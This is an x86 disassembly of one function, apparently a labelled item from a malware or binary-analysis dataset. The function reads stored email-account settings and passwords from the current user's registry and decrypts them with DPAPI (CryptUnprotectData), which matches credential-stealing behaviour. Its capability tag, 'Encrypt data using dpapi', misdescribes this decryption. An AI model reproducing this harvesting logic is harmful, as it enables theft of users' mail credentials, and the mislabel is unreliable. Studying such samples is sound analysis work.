Function at 0x434d13
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
and dword [ebp - 0x50], 0
push ebx
push esi
mov esi, str.SMTP_Email_Address
mov dword [ebp - 0x94], str.SMTP_Server
push edi
mov edi, ecx
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x90], str.POP3_Server
lea ebx, [ebp - 0x94]
mov dword [ebp - 0x8c], str.POP3_User_Name
mov dword [ebp - 0x88], str.SMTP_User_Name
mov dword [ebp - 0x84], str.NNTP_Email_Address
mov dword [ebp - 0x80], str.NNTP_User_Name
mov dword [ebp - 0x7c], str.NNTP_Server
mov dword [ebp - 0x78], str.IMAP_Server
mov dword [ebp - 0x74], str.IMAP_User_Name
mov dword [ebp - 0x70], str.Email
mov dword [ebp - 0x6c], str.HTTP_User
mov dword [ebp - 0x68], str.HTTP_Server_URL
mov dword [ebp - 0x64], str.POP3_User
mov dword [ebp - 0x60], str.IMAP_User
mov dword [ebp - 0x5c], str.HTTPMail_User_Name
mov dword [ebp - 0x58], str.HTTPMail_Server
mov dword [ebp - 0x54], str.SMTP_User
mov edx, dword [ebp + 8]
push 0
push ecx
push 0
push esi
mov ecx, 0x80000001
call fcn.00435bf6
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x434e25
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47d2c8
mov ecx, edi
call fcn.00435da6
mov esi, dword [ebp - 4]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47ca6c
mov ecx, edi
call fcn.00435da6
push esi
call fcn.00445ce8
add esp, 0xc
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x434dbc
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x28]
mov esi, 0x47d2cc
mov dword [ebp - 0x28], str.IMAP_Password2
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], str.NNTP_Password2
mov dword [ebp - 0x20], str.HTTPMail_Password2
mov dword [ebp - 0x1c], str.SMTP_Password2
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00435bf6
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x434ec4
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47d2c8
mov ecx, edi
call fcn.00435da6
mov eax, dword [ebp - 8]
mov ecx, edi
mov esi, dword [ebp - 4]
mov edx, esi
shr eax, 1
push eax
call fcn.00435ce9
push 1
mov edx, 0x47ca6c
mov ecx, edi
call fcn.00435da6
push esi
call fcn.00445ce8
add esp, 0x14
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x434e59
and dword [ebp - 0x30], 0
lea eax, [ebp - 0x40]
mov esi, str.POP3_Password
mov dword [ebp - 0x40], str.IMAP_Password
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], str.NNTP_Password
mov dword [ebp - 0x38], str.HTTP_Password
mov dword [ebp - 0x34], str.SMTP_Password
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 8]
and dword [ebp - 8], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00435bf6
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x434ff6
mov ecx, dword [ebp - 8]
cmp ecx, 1
jbe 0x434ff6
mov al, byte [ebx]
cmp al, 1
je 0x434faa
cmp al, 2
jne 0x434fef
dec ecx
lea eax, [ebx + 1]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], edx
test eax, eax
je 0x434fef
lea eax, [ebp - 0x14]
push eax
push 1
push edx
push edx
push edx
push edx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x434fef
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x434fef
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 8]
jae 0x434f9d
push ecx
push eax
lea eax, [ebx + 1]
mov dword [ebp - 0xc], 1
push eax
call fcn.00441af0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0xc], 0
je 0x434fef
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47d2c8
mov ecx, edi
call fcn.00435da6
pop ecx
pop ecx
lea esi, [ebx + 1]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47ca6c
mov ecx, edi
call fcn.00435da6
pop ecx
pop ecx
push ebx
call fcn.00445ce8
pop ecx
mov eax, dword [ebp - 4]
mov esi, dword [eax]
add eax, 4
mov dword [ebp - 4], eax
test esi, esi
jne 0x434efb
and dword [ebp - 0x18], 0
lea ebx, [ebp - 0x20]
mov esi, str.POP3_Port
mov dword [ebp - 0x20], str.SMTP_Port
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], str.IMAP_Port
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push 0
push ecx
push eax
push esi
mov ecx, 0x80000001
call fcn.00435bf6
add esp, 0x10
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4350a2
cmp dword [ebp - 4], 4
jne 0x4350a2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, esi
mov ecx, edi
call fcn.00435ce9
push 1
mov edx, 0x47d2c8
mov ecx, edi
call fcn.00435da6
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x4c]
push dword [esi]
push 0x47d43c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x4c]
mov ecx, edi
call fcn.00435da6
push esi
call fcn.00445ce8
pop ecx
pop ecx
mov esi, dword [ebx]
add ebx, 4
test esi, esi
jne 0x435026
pop edi
pop esi
pop ebx
leave
ret